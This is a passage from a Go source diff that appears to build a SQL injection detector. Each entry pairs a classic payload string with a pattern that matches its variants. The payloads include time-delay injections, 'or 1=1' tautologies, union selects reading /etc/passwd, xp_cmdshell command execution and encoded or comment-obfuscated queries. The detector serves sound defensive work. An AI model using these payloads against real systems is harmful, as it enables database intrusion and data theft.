p.AddLiteral("'") + p.AddSpaces() + p.AddLiteral("waitfor") + p.AddSpaces() + p.AddLiteral("delay") + p.AddSpaces() + p.AddLiteral("'") + p.AddNumber(1, 24) + p.AddLiteral(":") + p.AddNumber(2, 60) + p.AddLiteral(":") + p.AddNumber(3, 60) + p.AddLiteral("'--") + }, + }, + { + Form: "1;(load_file(char(47,101,116,99,47,112,97,115, ...", + Case: "1;(load_file(char(47,101,116,99,47,112,97,115)))", + Regex: func(p *Parts) { + p.AddNumber(0, 256) + p.AddLiteral(";(load_file(char(") + p.AddNumberList(256) + p.AddLiteral(")))") + }, + }, + { + Form: "or%201=1", + Regex: func(p *Parts) { + p.AddHexOr() + p.AddNumber(0, 1337) + p.AddLiteral("=") + p.AddNumber(0, 1337) + }, + }, + { + Form: "1 or sleep(__TIME__)#", + Case: "1 or sleep(123)#", + Regex: func(p *Parts) { + p.AddNumber(0, 1337) + p.AddOr() + p.AddLiteral("sleep(") + p.AddSpacesOptional() + p.AddNumber(1, 1337) + p.AddSpacesOptional() + p.AddLiteral(")#") + }, + }, + { + Form: "or 1=1", + Regex: func(p *Parts) { + p.AddOr() + p.AddNumber(0, 1337) + p.AddLiteral("=") + p.AddNumber(0, 1337) + }, + }, + { + Form: " and 1 in (select var from temp)--", + Regex: func(p *Parts) { + p.AddAnd() + p.AddNumber(0, 1337) + p.AddSpaces() + p.AddLiteral("in") + p.AddSpaces() + p.AddLiteral("(select") + p.AddSpaces() + p.AddName(1) + p.AddSpaces() + p.AddLiteral("from") + p.AddSpaces() + p.AddName(2) + p.AddLiteral(")--") + }, + }, + { + Form: " or '7659'='7659", + Regex: func(p *Parts) { + p.AddOr() + p.AddLiteral("'") + p.AddNumber(0, 1337) + p.AddLiteral("'='") + p.AddNumber(0, 1337) + }, + }, + { + Form: " or 'text' = n'text'", + Regex: func(p *Parts) { + p.AddOr() + p.AddLiteral("'") + p.AddName(0) + p.AddLiteral("'") + p.AddSpaces() + p.AddLiteral("=") + p.AddSpaces() + p.AddLiteral("n'") + p.AddName(0) + p.AddLiteral("'") + }, + }, + { + Form: " --", + Regex: func(p *Parts) { + p.AddSpacesOptional() + p.AddLiteral("--") + }, + }, + { + Form: " or 1=1 or ''='", + Regex: func(p *Parts) { + p.AddOr() + p.AddNumber(0, 1337) + p.AddLiteral("=") + p.AddNumber(0, 1337) + p.AddOr() + p.AddLiteral("''='") + }, + }, + { + Form: "declare @s varchar (200) select @s = 0x73656c6 ...", + Case: "declare @s varchar (200) select @s = 0x73656c6", + Regex: func(p *Parts) { + p.AddLiteral("declare") + p.AddSpaces() + p.AddLiteral("@") + p.AddName(0) + p.AddSpaces() + p.AddLiteral("varchar") + p.AddSpaces() + p.AddLiteral("(") + p.AddNumber(1, 200) + p.AddLiteral(")") + p.AddSpaces() + p.AddLiteral("select") + p.AddSpaces() + p.AddLiteral("@") + p.AddName(0) + p.AddSpaces() + p.AddLiteral("=") + p.AddSpaces() + p.AddHex(1337 * 1337) + }, + }, + { + Form: "exec xp", + Regex: func(p *Parts) { + p.AddLiteral("exec") + p.AddSpaces() + p.AddName(0) + }, + }, + { + Form: "; exec master..xp_cmdshell 'ping 172.10.1.255'--", + Regex: func(p *Parts) { + p.AddLiteral(";") + p.AddSpaces() + p.AddLiteral("exec") + p.AddSpaces() + p.AddLiteral("master..xp_cmdshell") + p.AddSpaces() + p.AddLiteral("'ping") + p.AddSpaces() + p.AddNumber(0, 256) + p.AddLiteral(".") + p.AddNumber(1, 256) + p.AddLiteral(".") + p.AddNumber(2, 256) + p.AddLiteral(".") + p.AddNumber(3, 256) + p.AddLiteral("'--") + }, + }, + { + Form: "3.10E+17", + Regex: func(p *Parts) { + p.AddType(PartTypeScientificNumber) + }, + }, + { + Form: "\" or pg_sleep(__TIME__)--", + Case: "\" or pg_sleep(123)--", + Regex: func(p *Parts) { + p.AddLiteral("\"") + p.AddOr() + p.AddLiteral("pg_sleep(") + p.AddSpacesOptional() + p.AddNumber(0, 1337) + p.AddSpacesOptional() + p.AddLiteral(")--") + }, + }, + { + Form: "x' AND email IS NULL; --", + Regex: func(p *Parts) { + p.AddName(0) + p.AddLiteral("'") + p.AddAnd() + p.AddName(1) + p.AddSpaces() + p.AddLiteral("is") + p.AddSpaces() + p.AddLiteral("null;") + p.AddSpaces() + p.AddLiteral("--") + }, + }, + { + Form: "&", + Regex: func(p *Parts) { + p.AddSpacesOptional() + p.AddLiteral("&") + p.AddSpacesOptional() + }, + }, + { + Form: "admin' or '", + Regex: func(p *Parts) { + p.AddName(0) + p.AddLiteral("'") + p.AddOr() + p.AddLiteral("'") + }, + }, + { + Form: " or 'unusual' = 'unusual'", + Regex: func(p *Parts) { + p.AddOr() + p.AddLiteral("'") + p.AddName(0) + p.AddLiteral("'") + p.AddSpaces() + p.AddLiteral("=") + p.AddSpaces() + p.AddLiteral("'") + p.AddName(0) + p.AddLiteral("'") + }, + }, + { + Form: "//", + Regex: func(p *Parts) { + p.AddSpacesOptional() + p.AddLiteral("//") + p.AddSpacesOptional() + }, + }, + { + Form: "truncate", + Regex: func(p *Parts) { + p.AddSpacesOptional() + p.AddLiteral("truncate") + p.AddSpacesOptional() + }, + }, + { + Form: "1) or benchmark(10000000,MD5(1))#", + Regex: func(p *Parts) { + p.AddNumber(0, 1337) + p.AddLiteral(")") + p.AddOr() + p.AddBenchmark() + }, + }, + { + Form: "\x27UNION SELECT", + Regex: func(p *Parts) { + p.AddLiteral("\x27union") + p.AddSpaces() + p.AddLiteral("select") + }, + }, + { + Form: "declare @s varchar(200) select @s = 0x77616974 ...", + Case: "declare @s varchar(200) select @s = 0x77616974", + Regex: func(p *Parts) { + p.AddLiteral("declare") + p.AddSpaces() + p.AddLiteral("@") + p.AddName(0) + p.AddSpaces() + p.AddLiteral("varchar(") + p.AddNumber(1, 200) + p.AddLiteral(")") + p.AddSpaces() + p.AddLiteral("select") + p.AddSpaces() + p.AddLiteral("@") + p.AddName(0) + p.AddSpaces() + p.AddLiteral("=") + p.AddSpaces() + p.AddHex(1337 * 1337) + }, + }, + { + Form: "tz_offset", + Regex: func(p *Parts) { + p.AddSpacesOptional() + p.AddLiteral("tz_offset") + p.AddSpacesOptional() + }, + }, + { + Form: "sqlvuln", + Case: "select a from b where 1=1", + Regex: func(p *Parts) { + p.AddSpacesOptional() + p.AddSQL() + p.AddSpacesOptional() + }, + }, + { + Form: "\"));waitfor delay '0:0:__TIME__'--", + Case: "\"));waitfor delay '0:0:23'--", + Regex: func(p *Parts) { + p.AddLiteral("\"))") + p.AddWaitfor() + }, + }, + { + Form: "||6", + Regex: func(p *Parts) { + p.AddOr() + p.AddNumber(0, 1337) + }, + }, + { + Form: "or%201=1 --", + Regex: func(p *Parts) { + p.AddHexOr() + p.AddNumber(0, 1337) + p.AddLiteral("=") + p.AddNumber(0, 1337) + p.AddSpaces() + p.AddLiteral("--") + }, + }, + { + Form: "%2A%28%7C%28objectclass%3D%2A%29%29", + Regex: func(p *Parts) { + p.AddSpacesOptional() + p.AddLiteral("%2A%28%7C%28objectclass%3D%2A%29%29") + p.AddSpacesOptional() + }, + }, + { + Form: "or a=a", + Regex: func(p *Parts) { + p.AddOr() + p.AddName(0) + p.AddLiteral("=") + p.AddName(0) + }, + }, + { + Form: ") union select * from information_schema.tables;", + Regex: func(p *Parts) { + p.AddLiteral(")") + p.AddSpaces() + p.AddLiteral("union") + p.AddSpaces() + p.AddLiteral("select") + p.AddSpaces() + p.AddLiteral("*") + p.AddSpaces() + p.AddLiteral("from") + p.AddSpaces() + p.AddLiteral("information_schema.tables;") + }, + }, + { + Form: "PRINT @@variable", + Regex: func(p *Parts) { + p.AddLiteral("print") + p.AddSpaces() + p.AddLiteral("@@") + p.AddName(0) + }, + }, + { + Form: "or isNULL(1/0) /*", + Regex: func(p *Parts) { + p.AddOr() + p.AddLiteral("isnull(") + p.AddSpacesOptional() + p.AddNumber(0, 1337) + p.AddSpacesOptional() + p.AddLiteral("/") + p.AddSpacesOptional() + p.AddLiteral("0") + p.AddSpacesOptional() + p.AddLiteral(")") + p.AddSpaces() + p.AddLiteral("/*") + }, + }, + { + Form: "26 %", + Regex: func(p *Parts) { + p.AddNumber(0, 1337) + p.AddSpaces() + p.AddLiteral("%") + }, + }, + { + Form: "\" or \"a\"=\"a", + Regex: func(p *Parts) { + p.AddLiteral("\"") + p.AddOr() + p.AddLiteral("\"") + p.AddName(0) + p.AddLiteral("\"=\"") + p.AddName(0) + }, + }, + { + Form: "(sqlvuln)", + Case: "(select a from b where 1=1)", + Regex: func(p *Parts) { + p.AddSpacesOptional() + p.AddLiteral("(") + p.AddSQL() + p.AddLiteral(")") + p.AddSpacesOptional() + }, + }, + { + Form: "x' AND members.email IS NULL; --", + Regex: func(p *Parts) { + p.AddName(0) + p.AddLiteral("'") + p.AddAnd() + p.AddLiteral("members.email") + p.AddSpaces() + p.AddLiteral("is") + p.AddSpaces() + p.AddLiteral("null;") + p.AddSpaces() + p.AddLiteral("--") + }, + }, + { + Form: " or 1=1--", + Regex: func(p *Parts) { + p.AddOr() + p.AddNumber(0, 1337) + p.AddLiteral("=") + p.AddNumber(0, 1337) + p.AddLiteral("--") + }, + }, + { + Form: " and 1=( if((load_file(char(110,46,101,120,11 ...", + Case: " and 1=( if((load_file(char(110,46,101,120,11)))))", + Regex: func(p *Parts) { + p.AddAnd() + p.AddNumber(0, 1337) + p.AddLiteral("=(") + p.AddSpaces() + p.AddLiteral("if((load_file(char(") + p.AddNumberList(256) + p.AddLiteral(")))))") + }, + }, + { + Form: "0x770061006900740066006F0072002000640065006C00 ...", + Case: "0x770061006900740066006F0072002000640065006C00", + Regex: func(p *Parts) { + p.AddHex(1337 * 1336) + }, + }, + { + Form: "%20'sleep%2050'", + Regex: func(p *Parts) { + p.AddHexSpaces() + p.AddLiteral("'sleep") + p.AddHexSpaces() + p.AddNumber(0, 1337) + p.AddLiteral("'") + }, + }, + { + Form: "as", + Regex: func(p *Parts) { + p.AddSpacesOptional() + p.AddLiteral("as") + p.AddSpacesOptional() + }, + }, + { + Form: "1)) or pg_sleep(__TIME__)--", + Case: "1)) or pg_sleep(123)--", + Regex: func(p *Parts) { + p.AddNumber(0, 1337) + p.AddLiteral("))") + p.AddOr() + p.AddLiteral("pg_sleep(") + p.AddSpacesOptional() + p.AddNumber(1, 1337) + p.AddSpacesOptional() + p.AddLiteral(")--") + }, + }, + { + Form: "/**/or/**/1/**/=/**/1", + Regex: func(p *Parts) { + p.AddComment() + p.AddLiteral("or") + p.AddComment() + p.AddNumber(0, 1337) + p.AddComment() + p.AddLiteral("=") + p.AddComment() + p.AddNumber(0, 1337) + }, + }, + { + Form: " union all select @@version--", + Regex: func(p *Parts) { + p.AddSpaces() + p.AddLiteral("union") + p.AddSpaces() + p.AddLiteral("all") + p.AddSpaces() + p.AddLiteral("select") + p.AddSpaces() + p.AddLiteral("@@") + p.AddName(0) + p.AddLiteral("--") + }, + }, + { + Form: ",@variable", + Regex: func(p *Parts) { + p.AddLiteral(",@") + p.AddName(0) + }, + }, + { + Form: "(sqlattempt2)", + Case: "(select a from b where 1=1)", + Regex: func(p *Parts) { + p.AddSpacesOptional() + p.AddLiteral("(") + p.AddSQL() + p.AddLiteral(")") + p.AddSpacesOptional() + }, + }, + { + Form: " or (EXISTS)", + Regex: func(p *Parts) { + p.AddOr() + p.AddLiteral("(exists)") + }, + }, + { + Form: "t'exec master..xp_cmdshell 'nslookup www.googl ...", + Case: "t'exec master..xp_cmdshell 'nslookup www.google.com", + Regex: func(p *Parts) { + p.AddName(0) + p.AddLiteral("'exec") + p.AddSpaces() + p.AddLiteral("master..xp_cmdshell") + p.AddSpaces() + p.AddLiteral("'nslookup") + p.AddSpaces() + p.AddName(1) + p.AddLiteral(".") + p.AddName(2) + p.AddLiteral(".") + p.AddName(3) + }, + }, + { + Form: "%20$(sleep%2050)", + Regex: func(p *Parts) { + p.AddHexSpaces() + p.AddLiteral("$(sleep") + p.AddHexSpaces() + p.AddNumber(0, 1337) + p.AddLiteral(")") + }, + }, + { + Form: "1 or benchmark(10000000,MD5(1))#", + Regex: func(p *Parts) { + p.AddNumber(0, 1337) + p.AddOr() + p.AddBenchmark() + }, + }, + { + Form: "%20or%20''='", + Regex: func(p *Parts) { + p.AddHexOr() + p.AddLiteral("''='") + }, + }, + { + Form: "||UTL_HTTP.REQUEST", + Regex: func(p *Parts) { + p.AddOr() + p.AddLiteral("utl_http.request") + p.AddSpacesOptional() + }, + }, + { + Form: " or pg_sleep(__TIME__)--", + Case: " or pg_sleep(123)--", + Regex: func(p *Parts) { + p.AddOr() + p.AddLiteral("pg_sleep(") + p.AddSpacesOptional() + p.AddNumber(0, 1337) + p.AddSpacesOptional() + p.AddLiteral(")--") + }, + }, + { + Form: "hi' or 'x'='x';", + Regex: func(p *Parts) { + p.AddName(0) + p.AddLiteral("'") + p.AddOr() + p.AddLiteral("'") + p.AddName(1) + p.AddLiteral("'='") + p.AddName(1) + p.AddLiteral("';") + }, + }, + { + Form: "\") or sleep(__TIME__)=\"", + Case: "\") or sleep(857)=\"", + Regex: func(p *Parts) { + p.AddLiteral("\")") + p.AddOr() + p.AddLiteral("sleep(") + p.AddSpacesOptional() + p.AddNumber(0, 1337) + p.AddSpacesOptional() + p.AddLiteral(")=\"") + }, + }, + { + Form: " or 'whatever' in ('whatever')", + Regex: func(p *Parts) { + p.AddOr() + p.AddLiteral("'") + p.AddName(0) + p.AddLiteral("'") + p.AddSpaces() + p.AddLiteral("in") + p.AddSpaces() + p.AddLiteral("('") + p.AddName(0) + p.AddLiteral("')") + }, + }, + { + Form: "; begin declare @var varchar(8000) set @var=' ...", + Case: "; begin declare @var varchar(8000) set @var='abc'", + Regex: func(p *Parts) { + p.AddLiteral(";") + p.AddSpaces() + p.AddLiteral("begin") + p.AddSpaces() + p.AddLiteral("declare") + p.AddSpaces() + p.AddLiteral("@") + p.AddName(0) + p.AddSpaces() + p.AddLiteral("varchar(") + p.AddNumber(1, 8000) + p.AddLiteral(")") + p.AddSpaces() + p.AddLiteral("set") + p.AddSpaces() + p.AddLiteral("@") + p.AddName(0) + p.AddLiteral("='") + p.AddName(2) + p.AddLiteral("'") + }, + }, + { + Form: " union select 1,load_file('/etc/passwd'),1,1,1;", + Regex: func(p *Parts) { + p.AddSpaces() + p.AddLiteral("union") + p.AddSpaces() + p.AddLiteral("select") + p.AddSpaces() + p.AddNumber(0, 1337) + p.AddLiteral(",load_file('/etc/passwd'),1,1,1;") + }, + }, + { + Form: "0x77616974666F722064656C61792027303A303A313027 ...", + Case: "0x77616974666F722064656C61792027303A303A313027", + Regex: func(p *Parts) { + p.AddHex(1337 * 1337) + }, + }, + { + Form: "exec(@s)", + Regex: func(p *Parts) { + p.AddSpacesOptional() + p.AddLiteral("exec(@") + p.AddName(0) + p.AddLiteral(")") + p.AddSpacesOptional() + }, + }, + { + Form: ") or pg_sleep(__TIME__)--", + Case: ") or pg_sleep(123)--", + Regex: func(p *Parts) { + p.AddLiteral(")") + p.AddOr() + p.AddLiteral("pg_sleep(") + p.AddNumber(0, 1337) + p.AddLiteral(")--") + }, + }, + { + Form: " union select", + Regex: func(p *Parts) { + p.AddSpaces() + p.AddLiteral("union") + p.AddSpaces() + p.AddLiteral("select") + }, + }, + { + Form: " or sleep(__TIME__)#", + Case: " or sleep(123)#", + Regex: func(p *Parts) { + p.AddOr() + p.AddLiteral("sleep(") + p.AddSpacesOptional() + p.AddNumber(0, 1337) + p.AddSpacesOptional() + p.AddLiteral(")#") + }, + }, + { + Form: " select * from information_schema.tables--", + Regex: func(p *Parts) { + p.AddSpaces() + p.AddLiteral("select") + p.AddSpaces() + p.AddLiteral("*") + p.AddSpaces() + p.AddLiteral("from") + p.AddSpaces() + p.AddLiteral("information_schema.tables--") + }, + }, + { + Form: "a' or 1=1--", + Regex: func(p *Parts) { + p.AddName(0) + p.AddLiteral("'") + p.AddOr() + p.AddNumber(1, 1337) + p.AddLiteral("=") + p.AddNumber(1, 1337) + p.AddLiteral("--") + }, + }, + { + Form: "a' or 'a' = 'a", + Regex: func(p *Parts) { + p.AddName(0) + p.AddLiteral("'") + p.AddOr() + p.AddLiteral("'") + p.AddName(1) + p.AddLiteral("'") + p.AddSpaces() + p.AddLiteral("=") + p.AddSpaces() + p.AddLiteral("'") + p.AddName(1) + }, + }, + { + Form: "declare @s varchar(22) select @s =", + Regex: func(p *Parts) { + p.AddLiteral("declare") + p.AddSpaces() + p.AddLiteral("@") + p.AddName(0) + p.AddSpaces() + p.AddLiteral("varchar(") + p.AddNumber(1, 22) + p.AddLiteral(")") + p.AddSpaces() + p.AddLiteral("select") + p.AddSpaces() + p.AddLiteral("@") + p.AddName(0) + p.AddSpaces() + p.AddLiteral("=") + }, + }, + { + Form: " or 2 between 1 and 3", + Regex: func(p *Parts) { + p.AddOr() + p.AddNumber(0, 1337) + p.AddSpaces() + p.AddLiteral("between") + p.AddSpaces() + p.AddNumber(1, 1337) + p.AddSpaces() + p.AddLiteral("and") + p.AddSpaces() + p.AddNumber(2, 1337) + }, + }, + { + Form: " or a=a--", + Regex: func(p *Parts) { + p.AddOr() + p.AddName(0) + p.AddLiteral("=") + p.AddName(0) + p.AddLiteral("--") + }, + }, + { + Form: " or '1'='1", + Regex: func(p *Parts) { + p.AddOr() + p.AddLiteral("'") + p.AddNumber(0, 1337) + p.AddLiteral("'='") + p.AddNumber(0, 1337) + }, + }, + { + Form: "|", + Regex: func(p *Parts) { + p.AddSpacesOptional() + p.AddLiteral("|") + p.AddSpacesOptional() + }, + }, + { + Form: " or sleep(__TIME__)='", + Case: " or sleep(123)='", + Regex: func(p *Parts) { + p.AddOr() + p.AddLiteral("sleep(") + p.AddSpacesOptional() + p.AddNumber(0, 1337) + p.AddSpacesOptional() + p.AddLiteral(")='") + }, + }, + { + Form: " or 1 --'", + Regex: func(p *Parts) { + p.AddOr() + p.AddNumber(0, 1337) + p.AddSpaces() + p.AddLiteral("--'") + }, + }, + { + Form: "or 0=0 #\"", + Regex: func(p *Parts) { + p.AddOr() + p.AddNumber(0, 1337) + p.AddLiteral("=") + p.AddNumber(0, 1337) + p.AddSpaces() + p.AddLiteral("#\"") + }, + }, + { + Form: "having", + Regex: func(p *Parts) { + p.AddSpacesOptional() + p.AddLiteral("having") + p.AddSpacesOptional() + }, + }, + { + Form: "a'", + Regex: func(p *Parts) { + p.AddName(0) + p.AddLiteral("'") + }, + }, + { + Form: "\" or isNULL(1/0) /*", + Regex: func(p *Parts) { + p.AddLiteral("\"") + p.AddOr() + p.AddLiteral("isnull(") + p.AddSpacesOptional() + p.AddNumber(0, 1337) + p.AddSpacesOptional() + p.AddLiteral("/") + p.AddSpacesOptional() + p.AddLiteral("0") + p.AddSpacesOptional() + p.AddLiteral(")") + p.AddSpaces() + p.AddLiteral("/*") + }, + }, + { + Form: "declare @s varchar (8000) select @s = 0x73656c ...", + Case: "declare @s varchar (8000) select @s = 0x73656c", + Regex: func(p *Parts) { + p.AddLiteral("declare") + p.AddSpaces() + p.AddLiteral("@") + p.AddName(0) + p.AddSpaces() + p.AddLiteral("varchar") + p.AddSpaces() + p.AddLiteral("(") + p.AddNumber(1, 1337) + p.AddLiteral(")") + p.AddSpaces() + p.AddLiteral("select") + p.AddSpaces() + p.AddLiteral("@") + p.AddName(0) + p.AddSpaces() + p.AddLiteral("=") + p.AddSpaces() + p.AddHex(1337 * 1337) + }, + }, + { + Form: "‘ or 1=1 --", + Regex: func(p *Parts) { + p.AddName(0) + p.AddOr() + p.AddNumber(1, 1337) + p.AddLiteral("=") + p.AddNumber(1, 1337) + p.AddSpaces() + p.AddLiteral("--") + }, + }, + { + Form: "char%4039%41%2b%40SELECT", + Regex: func(p *Parts) { + p.AddLiteral("char%40") + p.AddNumber(0, 256) + p.AddLiteral("%41%2b%40select") + }, + }, + { + Form: "order by", + Regex: func(p *Parts) { + p.AddSpacesOptional() + p.AddLiteral("order") + p.AddSpaces() + p.AddLiteral("by") + p.AddSpacesOptional() + }, + }, + { + Form: "bfilename", + Regex: func(p *Parts) { + p.AddSpacesOptional() + p.AddLiteral("bfilename") + p.AddSpacesOptional() + }, + }, + { + Form: " having 1=1--", + Regex: func(p *Parts) { + p.AddSpaces() + p.AddLiteral("having") + p.AddSpaces() + p.AddNumber(0, 1337) + p.AddLiteral("=") + p.AddNumber(0, 1337) + p.AddLiteral("--") + }, + }, + { + Form: ") or benchmark(10000000,MD5(1))#", + Regex: func(p *Parts) { + p.AddLiteral(")") + p.AddOr() + p.AddBenchmark() + }, + }, + { + Form: " or username like char(37);", + Regex: func(p *Parts) { + p.AddOr() + p.AddName(0) + p.AddSpaces() + p.AddLiteral("like") + p.AddSpaces() + p.AddLiteral("char(") + p.AddNumber(1, 256) + p.AddLiteral(");") + }, + }, + { + Form: ";waitfor delay '0:0:__TIME__'--", + Case: ";waitfor delay '0:0:123'--", + Regex: func(p *Parts) { + p.AddWaitfor() + }, + }, + { + Form: "\" or 1=1--", + Regex: func(p *Parts) { + p.AddLiteral("\"") + p.AddOr() + p.AddNumber(0, 1337) + p.AddLiteral("=") + p.AddNumber(0, 1337) + p.AddLiteral("--") + }, + }, + { + Form: "x' AND userid IS NULL; --", + Regex: func(p *Parts) { + p.AddName(0) + p.AddLiteral("'") + p.AddAnd() + p.AddName(1) + p.AddSpaces() + p.AddLiteral("is") + p.AddSpaces() + p.AddLiteral("null;") + p.AddSpaces() + p.AddLiteral("--") + }, + }, + { + Form: "*/*", + Regex: func(p *Parts) { + p.AddSpacesOptional() + p.AddLiteral("*") + p.AddSpacesOptional() + p.AddLiteral("/*") + p.AddSpacesOptional() + }, + }, + { + Form: " or 'text' > 't'", + Regex: func(p *Parts) { + p.AddOr() + p.AddLiteral("'") + p.AddName(0) + p.AddLiteral("'") + p.AddSpaces() + p.AddLiteral(">") + p.AddSpaces() + p.AddLiteral("'") + p.AddName(1) + p.AddLiteral("'") + }, + }, + { + Form: " (select top 1", + Regex: func(p *Parts) { + p.AddSpaces() + p.AddLiteral("(select") + p.AddSpaces() + p.AddLiteral("top") + p.AddSpaces() + p.AddNumber(0, 1337) + }, + }, + { + Form: " or benchmark(10000000,MD5(1))#", + Regex: func(p *Parts) { + p.AddOr() + p.AddBenchmark() + }, + }, + { + Form: "\");waitfor delay '0:0:__TIME__'--", + Case: "\");waitfor delay '0:0:42'--", + Regex: func(p *Parts) { + p.AddLiteral("\")") + p.AddWaitfor() + }, + }, + { + Form: "a' or 3=3--", + Regex: func(p *Parts) { + p.AddName(0) + p.AddLiteral("'") + p.AddOr() + p.AddNumber(1, 1337) + p.AddLiteral("=") + p.AddNumber(1, 1337) + p.AddLiteral("--") + }, + }, + { + Form: " -- &password=", + Regex: func(p *Parts) { + p.AddSpaces() + p.AddLiteral("--") + p.AddSpaces() + p.AddLiteral("&") + p.AddName(0) + p.AddLiteral("=") + }, + }, + { + Form: " group by userid having 1=1--", + Regex: func(p *Parts) { + p.AddSpaces() + p.AddLiteral("group") + p.AddSpaces() + p.AddLiteral("by") + p.AddSpaces() + p.AddName(0) + p.AddSpaces() + p.AddLiteral("having") + p.AddSpaces() + p.AddNumber(1, 1337) + p.AddLiteral("=") + p.AddNumber(1, 1337) + p.AddLiteral("--") + }, + }, + { + Form: " or ''='", + Regex: func(p *Parts) { + p.AddOr() + p.AddLiteral("''='") + }, + }, + { + Form: "; exec master..xp_cmdshell", + Regex: func(p *Parts) { + p.AddLiteral(";") + p.AddSpaces() + p.AddLiteral("exec") + p.AddSpaces() + p.AddLiteral("master..xp_cmdshell") + }, + }, + { + Form: "%20or%20x=x", + Regex: func(p *Parts) { + p.AddHexOr() + p.AddName(0) + p.AddLiteral("=") + p.AddName(0) + }, + }, + { + Form: "select", + Regex: func(p *Parts) { + p.AddSpacesOptional() + p.AddLiteral("select") + p.AddSpacesOptional() + }, + }, + { + Form: "\")) or sleep(__TIME__)=\"", + Case: "\")) or sleep(123)=\"", + Regex: func(p *Parts) { + p.AddLiteral("\"))") + p.AddOr() + p.AddLiteral("sleep(") + p.AddSpacesOptional() + p.AddNumber(0, 1337) + p.AddSpacesOptional() + p.AddLiteral(")=\"") + }, + }, + { + Form: "0x730065006c0065006300740020004000400076006500 ...", + Case: "0x730065006c0065006300740020004000400076006500", + Regex: func(p *Parts) { + p.AddSpacesOptional() + p.AddHex(1337 * 1337) + p.AddSpacesOptional() + }, + }, + { + Form: "hi' or 1=1 --", + Regex: func(p *Parts) { + p.AddName(0) + p.AddLiteral("'") + p.AddOr() + p.AddNumber(1, 1337) + p.AddLiteral("=") + p.AddNumber(1, 1337) + p.AddSpaces() + p.AddLiteral("--") + }, + }, + { + Form: "\") or pg_sleep(__TIME__)--", + Case: "\") or pg_sleep(123)--", + Regex: func(p *Parts) { + p.AddLiteral("\")") + p.AddOr() + p.AddLiteral("pg_sleep(") + p.AddSpacesOptional() + p.AddNumber(0, 1337) + p.AddLiteral(")--") + }, + }, + { + Form: "%20or%20'x'='x", + Regex: func(p *Parts) { + p.AddHexOr() + p.AddLiteral("'") + p.AddName(0) + p.AddLiteral("'='") + p.AddName(0) + }, + }, + { + Form: " or 'something' = 'some'+'thing'", + Regex: func(p *Parts) { + p.AddOr() + p.AddLiteral("'") + p.AddName(0) + p.AddLiteral("'") + p.AddSpaces() + p.AddLiteral("=") + p.AddSpaces() + p.AddParts(PartTypeObfuscated, func(p *Parts) { + p.AddName(0) + }) + }, + }, + { + Form: "exec sp", + Regex: func(p *Parts) { + p.AddSpacesOptional() + p.AddLiteral("exec") + p.AddSpaces() + p.AddLiteral("sp") + p.AddSpacesOptional() + }, + }, + { + Form: "29 %", + Regex: func(p *Parts) { + p.AddNumber(0, 1337) + p.AddSpaces() + p.AddLiteral("%") + }, + }, + { + Form: "(", + Regex: func(p *Parts) { + p.AddSpacesOptional() + p.AddLiteral("(") + p.AddSpacesOptional() + }, + }, + { + Form: "ý or 1=1 --", + Regex: func(p *Parts) { + p.AddName(0) + p.AddOr() + p.AddNumber(1, 1337) + p.AddLiteral("=") + p.AddNumber(1, 1337) + p.AddSpaces() + p.AddLiteral("--") + }, + }, + { + Form: "1 or pg_sleep(__TIME__)--", + Case: "1 or pg_sleep(123)--", + Regex: func(p *Parts) { + p.AddNumber(0, 1337) + p.AddOr() + p.AddLiteral("pg_sleep(") + p.AddSpacesOptional() + p.AddNumber(1, 1337) + p.AddSpacesOptional() + p.AddLiteral(")--") + }, + }, + { + Form: "0 or 1=1", + Regex: func(p *Parts) { + p.AddNumber(0, 1337) + p.AddOr() + p.AddNumber(1, 1337) + p.AddLiteral("=") + p.AddNumber(1, 1337) + }, + }, + { + Form: ") or (a=a", + Regex: func(p *Parts) { + p.AddLiteral(")") + p.AddOr() + p.AddLiteral("(") + p.AddName(0) + p.AddLiteral("=") + p.AddName(0) + }, + }, + { + Form: "uni/**/on sel/**/ect", + SkipMatch: true, + Regex: func(p *Parts) { + p.AddParts(PartTypeObfuscatedWithComments, func(p *Parts) { + p.AddLiteral("union") + p.AddSpaces() + p.AddLiteral("select") + }) + }, + }, + { + Form: "replace", + Regex: func(p *Parts) { + p.AddSpacesOptional() + p.AddLiteral("replace") + p.AddSpacesOptional() + }, + }, + { + Form: "%27%20or%201=1", + Regex: func(p *Parts) { + p.AddLiteral("%27") + p.AddHexOr() + p.AddNumber(0, 1337) + p.AddLiteral("=") + p.AddNumber(0, 1337) + }, + }, + { + Form: ")) or pg_sleep(__TIME__)--", + Case: ")) or pg_sleep(343)--", + Regex: func(p *Parts) { + p.AddLiteral("))") + p.AddOr() + p.AddLiteral("pg_sleep(") + p.AddSpacesOptional() + p.AddNumber(0, 1337) + p.AddSpacesOptional() + p.AddLiteral(")--") + }, + }, + { + Form: "%7C", + Regex: func(p *Parts) { + p.AddSpacesOptional() + p.AddLiteral("%7C") + p.AddSpacesOptional() + }, + }, + { + Form: "x' AND 1=(SELECT COUNT(*) FROM tabname); --", + Regex: func(p *Parts) { + p.AddName(0) + p.AddLiteral("'") + p.AddAnd() + p.AddLiteral("1=(select") + p.AddSpaces() + p.AddLiteral("count(*)") + p.AddSpaces() + p.AddLiteral("from") + p.AddSpaces() + p.AddName(1) + p.AddLiteral(");") + p.AddSpaces() + p.AddLiteral("--") + }, + }, + { + Form: "'%20OR", + Regex: func(p *Parts) { + p.AddLiteral("'") + p.AddHexOr() + }, + }, + { + Form: "; or '1'='1'", + Regex: func(p *Parts) { + p.AddLiteral(";") + p.AddOr() + p.AddLiteral("'") + p.AddNumber(0, 1337) + p.AddLiteral("'='") + p.AddNumber(0, 1337) + p.AddLiteral("'") + }, + }, + { + Form: "declare @q nvarchar (200) select @q = 0x770061 ...", + Case: "declare @q nvarchar (200) select @q = 0x770061", + Regex: func(p *Parts) { + p.AddLiteral("declare") + p.AddSpaces() + p.AddLiteral("@") + p.AddName(0) + p.AddSpaces() + p.AddLiteral("nvarchar") + p.AddSpaces() + p.AddLiteral("(") + p.AddNumber(1, 200) + p.AddLiteral(")") + p.AddSpaces() + p.AddLiteral("select") + p.AddSpaces() + p.AddLiteral("@") + p.AddName(0) + p.AddSpaces() + p.AddLiteral("=") + p.AddSpaces() + p.AddHex(1337 * 1337) + }, + }, + { + Form: "1 or 1=1", + Regex: func(p *Parts) { + p.AddNumber(0, 1337) + p.AddOr() + p.AddNumber(1, 1337) + p.AddLiteral("=") + p.AddNumber(1, 1337) + }, + }, + { + Form: "; exec ('sel' + 'ect us' + 'er')", + Regex: func(p *Parts) { + p.AddLiteral(";") + p.AddSpaces() + p.AddLiteral("exec") + p.AddSpaces() + p.AddLiteral("(") + p.AddParts(PartTypeObfuscated, func(p *Parts) { + p.AddLiteral("select") + p.AddSpaces() + p.AddName(0) + }) + 